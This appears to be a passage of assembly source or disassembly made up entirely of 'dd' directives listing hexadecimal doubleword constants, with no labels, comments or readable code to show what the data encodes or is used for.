dd 7EF280B3h, 33D7A4FAh, 978DA613h, 8D6505F9h, 25450EE8h
dd 0E86060DDh, 4D003A2Dh, 0D40D4F86h, 0E41D3537h, 87120273h
dd 58C1292Bh, 34C16B62h, 441C20E5h, 0EDCC58BFh, 4B28A9E0h
dd 0A23AE023h, 0B453B17h, 7C61F9E1h, 6A9A57FAh, 91833057h
dd 0E53AB54Ch, 4A034C5Eh, 3390A05h, 3716DF0Fh, 287A0168h
dd 780A57E7h, 0ED981820h, 92546B9Fh, 0EC59054Ch, 0FCBBC9DBh
dd 5BE9846Ah, 4B67A30Ah, 0EAF56FB2h, 0A2731C45h, 60C9A813h
dd 0B020BA22h, 83BF741h, 5C359AA6h, 12D9B8Eh, 5C4AF544h
dd 0D34BAFCFh, 4F5C3DE3h, 94C9DEDEh, 0FC629DDh, 0E7D0622h
dd 0CBED5B43h, 170E501Fh, 0B8C182Eh, 3B78BF00h, 72810127h
dd 0F36417CFh, 0D8985C13h, 627862EFh, 971E595h, 0D025E686h
dd 8B4DB20Ah, 12EE7259h, 0C94ADFE9h, 3811E03Ah, 0E4824B2h
dd 5B043AE6h, 0E8430229h, 513587DDh, 505C5DBAh, 515C2D56h
dd 0BA99E8EFh, 8F0543AEh, 2386C588h, 5A01ACA3h, 391DCA81h
dd 0F0F11331h, 0A6908BA2h, 7D50139Eh, 2807EC40h, 0C504064Ch
dd 473731CCh, 6908EA01h, 0E30A3B26h, 0C3408EDh, 840D1414h
dd 49A89C1Dh, 0ACC3D29Ch, 202148EFh, 756812CAh, 43F7991Dh
dd 1E5EAEA4h, 34E94C3Ch, 322BE38h, 0EB28F697h, 5EBF2EAFh
dd 0B0926F63h, 16DA6980h, 0C8BD4149h, 805542F2h, 0F67B53BAh
dd 50332C4Ch, 7F336E0h, 0C388D0B1h, 0F0D8B234h, 63C075DBh
dd 5E30B07h, 0E9011A04h, 62F7E1AEh, 2F9F6B48h, 0DB2E9B5Ah
dd 6EA40098h, 0F2E454C5h, 9FF0BAA7h, 5F8E4EE5h, 712FAB68h
dd 737F8941h, 645E0966h, 2AE98AF0h, 3EFAC766h, 35825557h
dd 5D7CBD7Ah, 65C943E2h, 10346F5Ch, 0ADE0AC2h, 4F04148Ch
dd 0E1AFF83Eh, 0F4B59580h, 0F63DEDD0h, 0E54E96D5h, 0CA2BF7CDh
dd 36680BEDh, 45FEC439h, 2F1D2783h, 2FBB52DBh, 7DC63775h
dd 0B2228160h, 7B1C3959h, 0B733AC8Bh, 5C8304CAh, 35905D21h
dd 726E955h, 52793857h, 27E97934h, 5D922CA2h, 6489571h
dd 42FBD449h, 8A52B11Bh, 48B5E7EAh, 2648AC80h, 10424501h
dd 605E3E32h, 1924A680h, 0EF05005Dh, 2D571518h, 0D03A428Fh
dd 952E822Ah, 0C0890C80h, 3ACF0939h, 89D51AE9h, 0A50735E1h
dd 7D08E85Dh, 2B2A5377h, 999DF0DCh, 916BD313h, 1097A61Ah
dd 3D5EE2F6h, 2A9B6C0Ch, 0D4D016EBh, 0A67AF480h, 2BA4994Eh
dd 0DB0D33D8h, 0B0E141C2h, 0D2987B24h, 5599600Bh, 0A99D69EAh
dd 0D329370Ah, 0A100BF5Ah, 109E562h, 125E61F2h, 0ED15705Fh
dd 2F51E629h, 2B60E989h, 52AAD4FCh, 5529A5DFh, 6A95AA00h
dd 7817804h, 0B03DEAE9h, 10095F31h, 58C78354h, 294D0494h
dd 0F1C16FFBh, 0C631873Ch, 0E9174F4Eh, 5B34008h, 1F7752F2h
dd 13C8293Eh, 0F0D33A84h, 26F8FBC6h, 2024D3D8h, 58E92408h
dd 14D93C7h, 166F8B7Bh, 8BAF33Dh, 0D20B2F5Ah, 0E44FC102h
dd 2765A70h, 0C09FB198h, 0AFD2AD43h, 0EE4C1F64h, 81025EF4h
dd 0E0FEE280h, 0A328A072h, 0E9D880B4h, 0F6054B5Fh, 0AE78169Ah
dd 0F3D3FEBCh, 59CB0A16h, 652D1653h, 0E4E906F8h, 0F301EF59h
dd 0C1DCAA21h, 0AB69D801h, 0BDBC2C5Bh, 502C70B4h, 0E9309827h
dd 1ADF605Ch, 36611025h, 0CF351802h, 61624A5Dh, 5E4947BBh
dd 0BB0F852Eh, 54578671h, 43F47830h, 6EF27B08h, 4A631C02h
dd 0C896E5E9h, 0B05FFD2Bh, 6BC5586Eh, 0BD3412h, 852C051h
dd 21ED0102h, 870804E5h, 0A810F581h, 7BBCF534h, 7BABD3B4h
dd 2375DB4Bh, 0CC86C804h, 0D1A96457h, 7AE0D136h, 42515CD8h
dd 1590E68h, 0B4FC72CFh, 0FA8C52B3h, 0EA42446Dh, 0CD8100B8h
dd 9C581CDFh, 4EBE1825h, 0EEC6212Ch, 9299256h, 6BF068ACh
dd 2B70A346h, 0E9EB309Fh, 2AEB535h, 0F50FC9DDh, 0E2E8D727h
dd 0E4DEBF53h, 1CE21986h, 77584864h, 0E9A30130h, 0DC418A0h
dd 6AF5BDAh, 8798C216h, 4F02C0Eh, 28348026h, 5EB652D8h
dd 0A86AE0B3h, 0C195EEE0h, 9838DAACh, 0C784E249h, 0E440AC58h
dd 5E9145EFh, 40B2B420h, 0D6630607h, 48C0F009h, 38FE8796h
dd 25E046E9h, 0BCEFEBC3h, 9A97479Ah, 96325E64h, 29CB440Ah
dd 163FA3CBh, 2CA8DBF7h, 0C66F4104h, 90E9FC07h, 949C209Bh
dd 55EEBA8h, 0D36EA56Bh, 7866974Bh, 117EE9ECh, 560908EEh
dd 0C9A077E9h, 4D52952Dh, 0DE2F034Ah, 8997B35Eh, 173714EFh
dd 0A64E40E9h, 778114Ah, 0BB53844Ah, 8A207A6Dh, 880CB6A3h
dd 0A1294DE8h, 88E95598h, 2E587808h, 8F21EED7h, 0F809F531h
dd 0E28F45A8h, 95CC20Ch, 0ABF807EDh, 452E94C3h, 64BC354h
dd 39E49948h, 70DB250Fh, 0CF67974Dh, 274AC525h, 9A27717Bh
dd 83DCC217h, 0E86B31A2h, 72471ECAh, 0B9E9122Bh, 93554F94h
dd 0B84F08C5h, 1EF51206h, 5FF8C445h, 0D812EEFDh, 0D6FCE9AAh
dd 6C0ED300h, 905D0619h, 1679022Bh, 0CD016E47h, 56451159h
dd 0A1E965C1h, 802E3425h, 0EC764365h, 0D686165Bh, 42910BB0h
dd 50FC189Ah, 0BDE28103h, 4A5F997Bh, 1E5B8940h, 0B5334EFCh
dd 0B1CEE44Ah, 0CBF46F5Ah, 149C4FE9h, 6D17C9E5h, 1313E751h
dd 7FC08C68h, 0BDE2C3E9h, 9205AC6h, 94295BD4h, 2F6FB124h
dd 35197D3h, 42B8BAC8h, 0E9980DFBh, 699536D5h, 0BD7844EBh
dd 7DA7BF00h, 75BE55B4h
dd 59A2CA09h, 0D1E50429h, 5E48E0ECh, 2E65CB5Eh, 8C423B5Ch
dd 0C12E54BFh, 2856EF68h, 0F8E19350h, 0B2524181h, 0E0E2C0C8h
dd 0AC1CAFEh, 0D6C28002h, 0D4F0E360h, 20782DD9h, 8103446Ah
dd 340848C9h, 0DAC1B03Ch, 0B65B258Fh, 5095BC78h, 0C88697B4h
dd 47206E56h, 72665843h, 101BF75Bh, 0E05A08CBh, 0AA4A8E64h
dd 5A288190h, 582D25B4h, 9A0176Ch, 3180B733h, 0A15D4FE8h
dd 0A56FEC19h, 8BEF3FC0h, 0B4F4082Bh, 0F7153F7Ah, 20488DCEh
dd 93414B1Eh, 68A5838Ah, 912742FBh, 7BDB8B49h, 99EB03CDh
dd 0AB851C42h, 9085D50h, 543CB2E9h, 603F9C80h, 0B7ED801Ch
dd 0C55DE51Dh, 60190672h, 0DD983008h, 0FE948B61h, 0A1F651E8h
dd 18A94806h, 1C12F089h, 22E9EBh, 57C30107h, 111F72BFh
dd 0F781523Dh, 6240592Ah, 6638EC82h, 0E540530Dh, 31481F33h
dd 0D9D925D8h, 4072A822h, 5031ACC3h, 0E5038C54h, 84750102h
dd 76B39224h, 7FABB34Eh, 0C4FBF32Fh, 0BE877B68h, 9B005A7Dh
dd 63C609D5h, 0D1624F98h, 7BCF290Dh, 60011E6Bh, 0E4BC5D71h
dd 5E1DC652h, 954BA35Bh, 40C8D20Ah, 3691419Bh, 920E5C13h
dd 0C9E2570Ch, 0D29495C3h, 5BDE0903h, 784698E9h, 4A26EE8Fh
dd 0A200312Bh, 0B8652F22h, 172A2608h, 8103E851h, 47DE685Bh
dd 95BF2389h, 0B042BEF1h, 14620A2Ch, 0F609A008h, 73026819h
dd 2259D00Bh, 0D7355817h, 5F2DE522h, 6812E694h, 8DEC2AF1h
dd 8D17C5C1h, 0CBE42A78h, 2863B9E9h, 0A1926E6h, 3AF82556h
dd 0A93D8E12h, 10777310h, 0F74825C6h, 0C4033858h, 684AC259h
dd 985F5A9Ah, 0AC43A301h, 58D2F647h, 4D26E90h, 434B6225h
dd 0BD581FCFh, 25CE01AFh, 3EDDB001h, 0F92874D9h, 0C1C7E913h
dd 20D021E6h, 54C5E42Dh, 76C26F04h, 975E0444h, 0B852944Ah
dd 88580AA6h, 9809C5FAh, 6016F61Eh, 58C20825h, 7AE2D026h
dd 9B067E18h, 0CAA2702Ch, 80DEF464h, 9556857h, 5F165E8Ah
dd 2300EFC1h, 0E634B9F7h, 0FC8C123h, 3B5EDE35h, 0F5EF8D00h
dd 8068F351h, 0FFA731Bh, 0B6E9D9C4h, 78048E0h, 285BA4C1h
dd 0FA48B5C8h, 0E45C7F49h, 0DDEAC821h, 0DBE02913h, 0A9D300F6h
dd 42C710D8h, 0E707F438h, 72019D2Dh, 4E60377Dh, 83055CF7h
dd 0E153FB81h, 7BEEED3Ch, 44C6A340h, 9F7D7FF3h, 0C879B80Bh
dd 0DE7DE9C2h, 2F571757h, 491C1BB0h, 231AB11Fh, 0E616B828h
dd 0CA4D65C0h, 16E8211Ah, 48928C5Ch, 74DE8FB7h, 56521F1Eh
dd 243CE16h, 0C285F680h, 4A8B708Dh, 0D376F35Fh, 598F9009h
dd 525CC2B9h, 135B857h, 0E65D4FEAh, 5BDA1784h, 0EBC2AD24h
dd 2A57940h, 7BE76F8Eh, 416C83DFh, 0C51B0302h, 39E81A4Bh
dd 50FC8FD9h, 50EDF5C0h, 0D7EDCD7Ch, 27A523E8h, 80618C1h
dd 282AE61Dh, 0F73966D8h, 0CA689AE9h, 0C7A97F0Eh, 0A03984FCh
dd 28F3BF2h, 2EED16B6h, 0A4352A3Ch, 59893C42h, 2C03FC5Ah
dd 0E57E42D7h, 0C62774F9h, 56FB88DBh, 2C098CBEh, 80531C7Dh
dd 0A3286B58h, 0B69B982Eh, 0DBBD009Ch, 0F755065Bh, 14DEDD60h
dd 0A01DAF2Ch, 14B69386h, 0AF298DADh, 89BDE915h, 41486809h
dd 0B0D61AA2h, 0D5611009h, 1C21D14h, 0E06DC705h, 2DC8625Dh
dd 27E90782h, 0DF279672h, 0E450E85Bh, 9AA3B2Ah, 2BDE700h
dd 0EBE9573Bh, 0EE9E2441h, 0A5253840h, 0AD1C2B3h, 0F0F6D31h
dd 958BB05h, 859C423Eh, 3FA4323Fh, 20D0EC5h, 0E5C00CBEh
dd 1A1B4D85h, 3B74F6C0h, 0A229C190h, 88D554B6h, 500022ABh
dd 0DCF60DB4h, 38F43980h, 826C494h, 0E188870Bh, 492FD302h
dd 0C8AD2879h, 0BD9A9BFAh, 1098A6Eh, 661389FBh, 68E92FF2h
dd 0D8E19E48h, 69371A1Eh, 0ED3BAF8Ch, 8BB6E0h, 126C45BAh
dd 0D9B63175h, 0EC252E21h, 0BA6C9F5Fh, 790DFD01h, 0BA1DE917h
dd 0BF86DD2Fh, 309252Dh, 805B6645h, 276859E8h, 0D6195279h
dd 179067EFh, 0B4E2D186h, 804B7FDFh, 30D9B2C5h, 0A981F298h
dd 3A3B31EEh, 82B88812h, 9F48FECBh, 1897C34Ah, 955202A5h
dd 6494DEC6h, 2FADBAC7h, 0E920887Bh, 98D0804Eh, 0CF592568h
dd 540F7E09h, 82B95F57h, 937E955h, 68B8A96Bh, 16263BF2h
dd 0F501E402h, 4EA7697Eh, 52880C80h, 0E9894CB1h, 0B3EE1EC0h
dd 0BD27EF24h, 808626Ah, 0E7DE3FC1h, 62E7273Ah, 62F9DEEFh
dd 0C25BA6ACh, 15B592BDh, 4A570C88h, 12BA7BFh, 1F745E94h
dd 2197C01h, 0B6805F0Ch, 0BB22DDB8h, 97F7792Ch, 0D3C40413h
dd 70BA8745h, 527921AFh, 8850FCB2h, 0E55CD472h, 0CCE4B4BDh
dd 594140A3h, 51953CF2h, 4906681Ah, 833D3DD9h, 3E337DEAh
dd 6ED40021h, 0E9265573h, 22CD0D53h, 4C8062F7h, 167A9BE3h
dd 0EC14B0Ch, 1EB82BADh, 28B3F3F4h, 20A93D2Ch, 4802BC46h
dd 0B4AA392Dh, 0C9C7C17Fh, 0DCF00005h, 5E306A70h, 0FDC128BEh
dd 0F77429E9h, 36070A68h, 0C71433Fh, 471BD68Ah, 7CFB0B7h
dd 0C7CDC00Bh, 0E25F2196h, 1644E29Dh, 2EACC198h, 2852AE1Bh
dd 6D08E591h, 0D0291435h, 4ED1F510h, 9D360F90h, 24867D54h
dd 9098B54Fh, 0E8C18014h, 0DEC83118h, 68083005h, 2E942C17h
dd 0D9C0C349h, 7588463Ah, 792F397Ch, 0B2149292h, 40E9C4C2h
dd 0F84A0DA0h, 1A110CF2h, 0F50C57CDh, 6B493616h, 68393007h
dd 0B791821Bh, 0B522ECF8h, 0C802C529h, 75F91B84h, 4B79F22Fh
dd 0CCFB9BEh, 0F85EF729h, 490E0434h, 0C2C70125h, 720936F4h
dd 11D9964h, 715A0E67h, 7CD8EEE9h, 12C28007h, 0D126CA30h
dd 9F67408h, 0AFE95366h, 68EC59F8h, 0F94A054Ah, 0D9AFF028h
dd 45DA52BCh, 0B23DE918h, 901FE56Fh, 0B692885Fh, 5ACEF410h
dd 0F6F280FBh, 0F5402807h, 0AF9C95EBh, 0A8277C41h, 7B9C6810h
dd 991791ECh, 5E00F5F0h, 44293BE1h, 0A6CA4801h, 6660841h
dd 81EE8640h, 0E4327464h, 0F7A88A5Ch, 37D5E5E5h, 520208ACh
dd 3562C067h, 77B5C0FFh, 6D763805h, 4FD0A0D0h, 8103400Ch
dd 4C3870CBh, 0BE09F692h, 58FC0664h, 0C36D958Fh, 0FCDE40ADh
dd 43E93974h, 0EDFDF218h, 5931E0CAh, 0EB71B4BBh, 3E68000h
dd 7EEC007h, 0A98ECEFEh, 230E5737h, 0C818E922h, 14AD8871h
dd 0BD55020Ch, 6C2F4AEBh, 0B9A3C1h, 4B7A685Dh, 508D2203h
dd 0CD7004C2h, 3E908680h, 0B715D294h, 3F2F7592h, 0AD5B8Ah
dd 53B67146h, 0D926C181h, 33BF679h, 5A0FC7F1h, 7EC9E005h
dd 15E50475h, 54C8B8E9h, 2D735802h, 0F9748949h, 3FC36B3Eh
dd 0F4C09810h, 2431FA40h, 9A7A362h, 0C7C422E1h, 8BB660Fh
dd 0B378850Eh, 0F5F751ACh, 0B8AD4198h, 0F0A14B7Ah, 7F6B3540h
dd 5DFFE20Dh, 0F505D504h, 2C313BAEh, 6839B6E9h, 526AC22Dh
dd 0A17307D5h, 0BB6690FAh, 35C8BD3Fh, 63A09D19h, 8C3EC859h
dd 5AD593AEh, 0C47FD414h, 38FB53DEh, 4D27685Fh, 57671839h
dd 71298151h, 0E9C6ED08h, 0BD8050B4h, 24251D8Dh, 0CD710016h
dd 40897193h, 1B168A78h, 62AC6F08h, 0CDE09E14h, 1CF009DEh
dd 0EB93F256h, 13588E8Ch, 0B9626168h, 8556A240h, 41E1AFCFh
dd 2559E3ECh, 39D09C2Ch, 689EE4E9h, 0F130C931h, 1D6CC7E1h
dd 0D0FEE5E7h, 5D966804h, 45099BBDh, 906FF393h, 9441E93Bh
dd 80B2F197h, 0D3F0BE6h, 687E5650h, 374F0416h, 2C936680h
dd 2F4B4585h, 0BB1086E3h, 2CAC0E42h, 0B594E51h, 3B8CE3D8h
dd 215DE80Ch, 80790E10h, 12E951B2h, 0FBE89F2Fh, 0BFC625B7h
dd 2D5D1EACh, 0D9F3CDF9h, 19ED650Bh, 6A6316Dh, 0A430C473h
dd 0CF61350Bh, 15F8683Dh
dd 0CBA5876Eh, 20C1F720h, 30078107h, 3EC778F9h, 3A90E6E4h
dd 0BF5EF531h, 4721A2E0h, 7A651C48h, 9E534EB7h, 0D8ECDA73h
dd 64847C4Fh, 0E9C978AEh, 2EEF9D55h, 1B017352h, 68734B4Fh
dd 0B6501320h, 88C281F3h, 42305AD3h, 77F45BB6h, 60B75362h
dd 0FA7B006h, 640CC8FEh, 0B52C8F63h, 0D504DCB1h, 56966028h
dd 76B26295h, 1A5DF29Fh, 22CF04C3h, 58A28FBCh, 0B6A199ECh
dd 3F2E23A5h, 4B8A1F66h, 0E3C00413h, 0FC20055Bh, 0FD2CE1D9h
dd 5F590740h, 2BAE355h, 7D2B66BEh, 10FC02Dh, 0F07FE681h
dd 9044F73Bh, 0C46E7DF5h, 0E19481DFh, 0D9276F92h, 55B8A484h
dd 0B112B25Bh, 2D3AE0D3h, 0C144C60Ah, 0E4995A2Fh, 1FD5FA07h
dd 4C477976h, 0BF1AD34Dh, 10784AA2h, 0D0F74817h, 2AAE5E00h
dd 9731237Ah, 4FCDCF60h, 4F6E7997h, 0FB0CB384h, 64307C32h
dd 9DB0953h, 83800288h, 92B7A740h, 2C85D995h, 0BCB6E40Dh
dd 0EBC116EAh, 0E5C32F00h, 98FBA32Dh, 0B4E297BFh, 491EB47Dh
dd 472EC80Eh, 322002B2h, 0B9876CF7h, 0A7A90235h, 0E530015Ch
dd 0B2DD029h, 4FA63C64h, 7D4DCA06h, 0E0F100EDh, 5FB0194Bh
dd 3B175C49h, 68510220h, 3B530C77h, 102C5905h, 1ACA7B13h
dd 4E3166F0h, 5394206Ch, 7E2DE954h, 2386EB7h, 3110E8C1h
dd 0E97850C8h, 0BD2F730h, 0A028F4E9h, 137CE573h, 0E35A125Ch
dd 2E90DB7h, 0DC202423h, 8C4E5EC4h, 0B405570h, 0EFCD09BBh
dd 9F2F151h, 9B886A25h, 545217CBh, 0E9F65Dh, 9C12CEC5h
dd 98CD012Eh, 30455B15h, 0FB6456EAh, 0D1416701h, 2D96E9E1h
dd 7E4DCB4Ah, 50301FCEh, 2A1EB1BDh, 0B2C87A14h, 0CBA01A8h
dd 0E8137315h, 0E89DF54Bh, 98E888FFh, 5C2390C8h, 3C2DD5FDh
dd 9A10F2BAh, 5D811E49h, 59CA8681h, 2E4D7E6Bh, 7731FE80h
dd 0E90B16A1h, 9DED00Ch, 6DF2F028h, 6CF9B34Ah, 0B91ED0D2h
dd 67344CDCh, 0F800EA55h, 29A87AE6h, 101E4FE9h, 0AD4CDDC3h
dd 810E8734h, 812204C0h, 0C78FC6A9h, 233AA0D8h, 3098B6DCh
dd 0E639D120h, 1D1F1D81h, 0B20A9B26h, 0F0C9701Ah, 27BD9846h
dd 256B31CBh, 0D4644CBAh, 4D1A60BFh, 42FE0003h, 25B5CA81h
dd 0CC24869h, 4066569Dh, 82CE6C44h, 442EA25Dh, 0EC5C0585h
dd 0E0F9CB37h, 5814F52h, 0A13B62E7h, 159E820Fh, 0A6505307h
dd 3D46F502h, 7D82CB81h, 0D3F77EC9h, 2A08DF41h, 0B72816A1h
dd 0FDFBF60Bh, 60A45D66h, 0BB7F0560h, 4B400176h, 556DE125h
dd 6366EED2h, 38FA74h, 685257D5h, 3A0B9A1h, 5675A5Ah, 0C0841FA2h
dd 82CD2290h, 0FF349A5Fh, 0C4154205h, 8F50EB5Bh, 16714808h
dd 6F23F28h, 82D7F040h, 1CF02D50h, 5D10D267h, 8CA0F7E5h
dd 9A17F842h, 3FF7B48Dh, 0E516FA13h, 0EE577A8Eh, 0A9B273C1h
dd 0A676800h, 5A0195B8h, 13D3EA81h, 0B770402Fh, 0B9428A01h
dd 5E43EAE2h, 0BD7F7260h, 5B3D7EE3h, 0B704079h, 29597544h
dd 0FDBE6ABDh, 68FD7F21h, 0DA28410Ah, 862F2217h, 5EFC5456h
dd 35C2B3CCh, 70EF2283h, 8CA8E981h, 68C389A8h, 3B5E9D26h
dd 4ADF10C2h, 6A8E7530h, 7681B893h, 9F8D38F3h, 0E952226Dh
dd 0BF555807h, 5206ED0Fh, 293943E7h, 1822C8FBh, 2F0B414Bh
dd 1E9B9719h, 13D1E8DDh, 2B9490B3h, 43199DBBh, 1F3A8868h
dd 76C81DC5h, 0B5ED59EDh, 1868BF9Ah, 657C4568h, 5520799Bh
dd 6F2C2E3Ch, 44434BE9h, 8359F508h, 0DDA09C9h, 599D5F70h
dd 62E96F31h, 5592820h, 38582BDBh, 2DD81457h, 295B1E07h
dd 69005712h, 19487AA9h, 0E9F70C89h, 0C271EB78h, 0D3F40C0Bh
dd 3F8FDE2Bh, 5E983912h, 0BCCE5284h, 26E440C1h, 0A6B16EC0h
dd 0EA59CB88h, 0D92834FAh, 0A915C19Fh, 9EDF28BEh, 0D965321Fh
dd 2D62A886h, 0B04A55B0h, 86906C14h, 538F9525h, 8CA5BD39h
dd 5F5DB681h, 91F02052h, 255B0501h, 7C45EB81h, 0FB4028CDh
dd 58F060B0h, 0FC051D09h, 0BA065FE9h, 0FEC9B12h, 277B2E48h
dd 8B204BC8h, 30413E77h, 97EAF3FBh, 2C92A350h, 44BD9590h
dd 92325C1h, 4052C27Eh, 281EA631h, 34A22C2Fh, 0EB18243Dh
dd 97531E98h, 3BC650Ch, 4CDA3A39h, 6E640088h, 3BE92572h
dd 8E909140h, 799BCA68h, 6D273F83h, 2F27F8E7h, 24016EF7h
dd 2B5AD028h, 0B3EF899h, 9540B24Ch, 0A53C968h, 0B80950C6h
dd 1B125E07h, 5521CE81h, 0D03F718Bh, 0FA6E878Dh, 0D62D0478h
dd 4BF353h, 1A92116h, 8A0CE181h, 0D2300354h, 71D57F0Bh
dd 951CB829h, 1CA12858h, 21C20435h, 1FC84F6h, 165399B0h
dd 93097B7h, 0EBC34BD3h, 50559F30h, 7E483185h, 84F0A138h
dd 5DB30FBEh, 45A5EA5Eh, 0ADE804E4h, 4652C9D1h, 9CE925B2h
dd 56C3ADFEh, 0FF5DB255h, 0E9EEB201h, 0D8003FD9h, 0BF129D35h
dd 0C309123Ah, 72284558h, 615E90E9h, 27674928h, 0A55D094h
dd 0D056F80Bh, 72EFBFADh, 0D951E904h, 680C1CB2h, 541A761Eh
dd 0C2998D2h, 0AC19B23Dh, 0DDE337C8h, 0F479E65Ch, 57072AAAh
dd 0F7130768h, 0C4805F55h, 81B1188h, 4A87E91Fh, 0A52C763Eh
dd 13474989h, 5C520F8h, 80D7F665h, 0BED013C7h, 0C5E99904h
dd 0B84EF9BCh, 0C722D31Bh, 888B490Bh, 8FDB40FAh, 0F66880F8h
dd 74C56118h, 9D1E9E16h, 93164FBAh, 2EAC7097h, 408377E9h
dd 5B1F7CC5h, 18590E25h, 9DF9F663h, 0E3E985C8h, 84A3474Bh
dd 0D8BA0DDDh, 63732008h, 0F9D6AB8h, 0F42A9A9h, 86BBA340h
dd 682316FFh, 0DA400C2Fh, 5B89EA10h, 495C14A8h, 0E9C3B102h
dd 0F21680BDh, 5B8DF921h, 627B453Eh, 124CB9D5h, 0DAA6CC10h
dd 13AA2150h, 0BF4FAE39h, 0D08FB50h, 271BF6E9h, 16085282h
dd 966148C2h, 880745F2h, 0F340263Bh, 0C6800E59h, 0F00F5B28h
dd 0AB09E884h, 4FE8EE29h, 6859091Ch, 8F7C64B0h, 1CE8EA64h
dd 2F042910h, 19E47253h, 0DF0B8BFBh, 84D07D5Bh, 0C1023B75h
dd 0BBF00CE8h, 0DB49842Dh, 645B2D53h, 25C266C9h, 997C14F7h
dd 0B76E94CBh, 5C6BB49Eh, 62CDF373h, 9A503EE9h, 3E6C003h
dd 996CF680h, 68512EEh, 22F0304Ch, 0E48451F6h, 0D834FBA0h
dd 0C9E9CAAEh, 69B892D3h, 76E8DE3Ch, 491B96D8h, 0A555749Ah
dd 96E4F8D3h, 12EFE6A9h, 1DF72839h, 885A4FCAh, 0A01E5BECh
dd 16F3302Dh, 35D62092h, 89595E05h, 0CF8C205Fh, 1F009FBFh
dd 0A1B7840Fh, 50557AC0h, 14D15B8h, 2252281h, 43581C10h
dd 60708E6h, 20B95103h, 843C7FA2h, 688101B6h, 8100DC42h
dd 78B51FEFh, 545CA0A5h, 385BD9F8h, 2527F465h, 160AC8BDh
dd 83EB31F6h, 3AB7242h, 7AC3C343h, 0A8644B32h, 5038FD6h
dd 46B4C2D2h, 0F2304F02h, 0FC062E9Ah, 0C11E03A6h, 3BCFA408h
dd 39DFFAA4h, 2C9B4384h, 0F2E2C05Fh, 4904F07Eh, 0C54FE98Ch
dd 674A62B2h, 0A07FF41Bh, 9A2768E1h, 0E3D95E4Ch, 15B172B8h
dd 0C28E4444h, 17D9D890h, 59A37A89h, 48183CE5h, 575B1A27h
dd 68515200h, 70913AE6h, 0D1F70459h, 0AAC35DE9h, 6D6A3D9Dh
dd 0FFB32F50h, 0B96CC4Dh, 0C6E37591h, 797E70A9h, 2A3406DFh
dd 0AC7256h, 674DDE35h, 107EE929h, 68E6E1C1h, 0B32A2DC2h
dd 21A71E37h, 0F5812F80h, 4B3605BCh, 7F74E15Bh, 9068DB20h
dd 10312D0h, 5E2CAFEEh, 6E009FDAh, 0EB80C328h, 1206AB65h
dd 8F512BFh, 521E4650h, 0B512391Eh, 5EBE4BA0h, 3CFFE4A8h
dd 0C981F4A8h, 9975FA02h, 0E0414938h, 7A29863Fh, 0B2D909Ah
dd 4007C578h, 0B42017D0h, 952D042Fh, 0BE603F73h, 0E3C1DD02h
dd 0A1E4C104h
dd 0ED50C8DCh, 3E374EF0h, 0C7F6A40h, 45A01A4Bh, 117E0E18h
dd 0EB0C3E61h, 40EE91DCh, 3E6E1A78h, 0C73A4321h, 3B0373Ch
dd 832C750Ch, 41806395h, 0CA10828h, 0A0202014h, 0B3DA20CBh
dd 0B41A28E7h, 0C8AD1F5Bh, 0BD020DB7h, 80C7573Dh, 0BD9C5BCh
dd 0C2285093h, 5A631312h, 16ADEC2Fh, 0D3C85655h, 17DF945Eh
dd 9ABF929h, 5719B2E9h, 57553630h, 280DBF00h, 1DE975ECh
dd 0BFE59D8Eh, 20D46625h, 4E9AA5BAh, 0D04F5507h, 0F3855B65h
dd 75A00716h, 431A05FCh, 0A085E93Fh, 0D95DF63Eh, 97CD3DFEh
dd 91930203h, 39BEB4B9h, 142C7A5Bh, 0F3835ECAh, 29899F59h
dd 0ADEA7BD2h, 37ED3E09h, 501C311h, 175913B1h, 33BC245Dh
dd 9574E980h, 0EE77DB5Ah, 4DB06326h, 5102A5BEh, 734EA78Ch
dd 0A91EA025h, 0FB900334h, 1B88057Dh, 808204ABh, 7548FD4Eh
dd 0ECF5615Ah, 2F5D0803h, 7F4C021Eh, 5AC88431h, 848E7CACh
dd 2606AFBDh, 0CE0BD465h, 5C4B1856h, 1247Bh, 7E0B0C70h
dd 1BBCC521h, 0D6D31689h, 2A661FBh, 0DAB03BEFh, 516A0232h
dd 0E558E96Dh, 0B9FB2103h, 0CBA546AAh, 0FF6E4E89h, 0D8B55113h
dd 697E9FA4h, 18C222C6h, 60160781h, 41803AFAh, 5CA872FDh
dd 0A48BD53h, 0E910AE05h, 88F939D8h, 7B560B3h, 6719B450h
dd 0AB6DA2AEh, 2997D572h, 3837F6Fh, 1B02EF84h, 0BC43E1C7h
dd 0B897716h, 0C198A0D5h, 12717B4Fh, 223D35E9h, 66D0A043h
dd 199043B2h, 0CA02E024h, 0A0C4D818h, 0F0F84F59h, 7513371Dh
dd 8C024DDBh, 85D5F707h, 0B480739Fh, 0F747E95Dh, 9205616Dh
dd 0C421FC3Ch, 957C2A6h, 0D3420F59h, 0A0602BD8h, 5801209h
dd 22F53FD4h, 0B64029AFh, 991B0EEFh, 0C042F149h, 986C2A32h
dd 429362A9h, 3C2D92Ch, 2E249474h, 0D2F6DC4Bh, 0BB043DD8h
dd 1E436E90h, 0A84D02BEh, 825D255Fh, 0F3EA7524h, 0D9B0BD49h
dd 5AD60171h, 282E5B9Fh, 0BE65928Ch, 5F2942D1h, 3CC047E9h
dd 0C10C62C1h, 0F9280291h, 0CB0BB676h, 0E2131059h, 6098B7C5h
dd 0F682F265h, 0B4C864A9h, 0D041E296h, 5B0F883Fh, 457E3804h
dd 141F4C01h, 0E9850C6Ch, 5287D7F2h, 0E0C97AD4h, 504D023Ch
dd 44B6BFDBh, 760A429Fh, 7846E93Fh, 3E03FA81h, 7A68D780h
dd 709AB73Dh, 0AD51C55Dh, 0BAAE2065h, 3F9D963h, 0FBAFBF98h
dd 4D78E18h, 722FA3F1h, 86911A5Fh, 0CA5116Ah, 61F62646h
dd 0E72D2EB6h, 884631C3h, 48176BC7h, 0EC0C528h, 0B35305E2h
dd 7DA3E962h, 4DCCD39Ah, 897739Ah, 251A2E3h, 99E9090Ah
dd 6D51C9B4h, 0C03A3335h, 98403180h, 1C5E657Ch, 60FB5BC5h
dd 1EF8BB36h, 1CCB15Ch, 83EBD1D3h, 2F7801C3h, 518F1469h
dd 9623D62h, 48551A62h, 17DD01C5h, 88C12EE9h, 0FA5EBACFh
dd 0C380F7A2h, 84E4854h, 0B9B2215Bh, 178DEE10h, 0D9BD875Ah
dd 51652C92h, 20BCE912h, 64C628FAh, 24C1EB0h, 0D47D27EDh
dd 93A56896h, 0D5410753h, 9D80993Fh, 0AA0E54F2h, 80ACE0BDh
dd 0D80902CEh, 0BFE9D389h, 7601A3ABh, 6BFA43ACh, 67BC0001h
dd 0C42A7CFBh, 0B78F8013h, 695C8F7Ah, 0BE9165Bh, 0AABAD442h
